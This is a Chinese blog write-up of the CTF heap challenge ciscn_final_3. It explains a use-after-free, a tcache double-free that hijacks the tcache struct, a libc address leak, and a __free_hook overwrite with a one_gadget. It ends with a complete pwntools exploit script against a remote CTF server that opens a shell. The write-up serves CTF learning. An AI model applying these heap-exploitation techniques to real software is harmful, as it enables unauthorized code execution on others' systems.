ciscn_final_3 writeup

原创

SkYe231_ 于 2020-10-24 00:56:18 发布 175 收藏

文章标签： 1024程序员节

本文链接：https://blog.csdn.net/weixin_43921239/article/details/109252938

基本情况

```
Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled
```

C++程序。只有两个功能，新建、释放堆块。数量上限为：24，大小限制为：0x78 。用列表维护，释放操作基于下标定位指针。

新建完成后会输出堆 fd 内存地址。

漏洞

free 没指令指针，造成 UAF ：

```
unsigned __int64 my_free()
{
  __int64 v0; // rax
  unsigned int v2; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  v0 = std::operator<<<std::char_traits<char>>(&std::cout, "input the index");
  std::ostream::operator<<(v0, &std::endl<char,std::char_traits<char>>);
  std::istream::operator>>((__int64)&std::cin, (__int64)&v2);
  if ( v2 > 24 )
    exit(0);
  free((void *)chunk_ptr_list[v2]);             // UAF
  return __readfsqword(0x28u) ^ v3;
}
```

思路

> 刚刚做完 `[V&N2020 公开赛]easyTHeap` 利用 tcache 部分基本相同。这道题 chunk 数量上限挺高的，可以通过 free 7 个 chunk 占满空间，可以不需要劫持 tcache 结构体数量标志位。

1. double free ， 劫持 tcache bin 的 chunk0 fd 到 tcache struct 上
2. 修改 struct 中数量标志位；修改 bin 链头的地址为 chunk0-0x10 ， 后面修改 chunk0 size 为 unsorted bin 大小，用来泄露地址；多写几个链头为 chunk0 fd ， 后面分配到 main_area 上输出地址
3. 再次劫持 tcache struct ， 改一个链头 free_hook

获取 chunk0 后面用来计算各个地址：

```
add(0,0x50,'a'*8)#0

p.recvuntil("gift :")
chunk0_addr = int(p.recv(14),16)
log.info("chunk0_addr:"+hex(chunk0_addr))
tcache_struct = chunk0_addr - 0x11e60
```

double free ， 写 tcache bin 0x60 链表写入结构体地址；再次申请成功分配到结构体上，劫持结构体数量以及链头地址：

```
free(0)
free(0)
add(1,0x50,p64(tcache_struct))#0
add(2,0x50,p64(tcache_struct))#0
add(3,0x58,(b'a'*5+b'\x00').ljust(0x40,b'a')+p64(chunk0_addr)*2+p64(chunk0_addr-0x10))
```

- 劫持链头要一个 chunk0_addr-0x10 用来修改 size ， 另外一个 chunk0_addr 用来分配到 main_area 上泄露地址。
- 那个 `\x00` 是 0x70 的位置，这里不覆盖用来再次 tcache bin doublue free 再次劫持结构体。

做 chunk0 释放到 unsorted bin 绕过， nextchunk inuse 位设置为 1 ， 再申请一个防止与 topchunk 合并：

```
add(4,0x38,p64(0)+p64(0x101))#orw chunk0 size
add(5,0x40,'b'*8)# chunk0 free unsortbin 绕过检查 nextchunk inuse 检查，需要为1
add(6,0x40,'c'*8)# 同上
add(7,0x50,p64(0xdeadbeef))# 防止合并topchunk
free(0)
add(8,0x28,p64(0xdeadbeef))# chunk0
add(9,0x28,p64(chunk0_addr+0x150))# create on main_area
```

再次劫持 tcache 结构体将堆分配到 free_hook 上：

```
add(10,0x60,'a')
free(10)
free(10)
add(11,0x60,p64(tcache_struct))#10
add(12,0x60,p64(tcache_struct))#10
add(13,0x60,(b'a'*5+b'\x00').ljust(0x40,b'a')+p64(free_hook)*4)
```

EXP

```
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author  : MrSkYe
# @Email   : skye231@foxmail.com
from pwn import *
context(log_level='debug',os='linux',arch='amd64',
 terminal=['tmux','sp','-h'])

# p = process("./ciscn_final_3")
elf = ELF("./ciscn_final_3")
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p = remote("node3.buuoj.cn",27718)
libc = ELF("./libc.so.6")

def add(id,size,content):
 p.recvuntil("> ")
 p.sendline('1')
```

```
 p.recvuntil("index\n")
 p.sendline(str(id))
 p.recvuntil("size\n")
 p.sendline(str(size))
 p.recvuntil("thing\n")
 p.send(content)
def free(id):
 p.recvuntil("> ")
 p.sendline('2')
 p.recvuntil("index\n")
 p.sendline(str(id))

add(0,0x50,'a'*8)#0

p.recvuntil("gift :")
chunk0_addr = int(p.recv(14),16)
log.info("chunk0_addr:"+hex(chunk0_addr))
tcache_struct = chunk0_addr - 0x11e60

free(0)
free(0)
add(1,0x50,p64(tcache_struct))#0
add(2,0x50,p64(tcache_struct))#0
add(3,0x58,(b'a'*5+b'\x00').ljust(0x40,b'a')+p64(chunk0_addr)*2+p64(chunk0_addr-0x10))

add(4,0x38,p64(0)+p64(0x101))#orw chunk0 size
add(5,0x40,'b'*8)# chunk0 free unsortbin 绕过检查 nextchunk inuse 检查，需要为1
add(6,0x40,'c'*8)# 同上
add(7,0x50,p64(0xdeadbeef))# 防止合并topchunk

free(0)
add(8,0x28,p64(0xdeadbeef))# chunk0
add(9,0x28,p64(chunk0_addr+0x150))# create on main_area

p.recvuntil("gift :")
main_area = int(p.recv(14),16)
log.info("main_area:"+hex(main_area))
libc_base = main_area - 0x3ebca0
system = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']
log.info("system:"+hex(system))
# gdb.attach(p)
# 再次劫持tcache struct
add(10,0x60,'a')
free(10)
free(10)
add(11,0x60,p64(tcache_struct))#10
add(12,0x60,p64(tcache_struct))#10
add(13,0x60,(b'a'*5+b'\x00').ljust(0x40,b'a')+p64(free_hook)*4)

'''
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL
```

```
0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''
# free_hook 写入 onegadget
onegadget = libc_base + 0x4f322#0x4f3c2
add(14,0x40,p64(onegadget))

free(10)

p.interactive()
```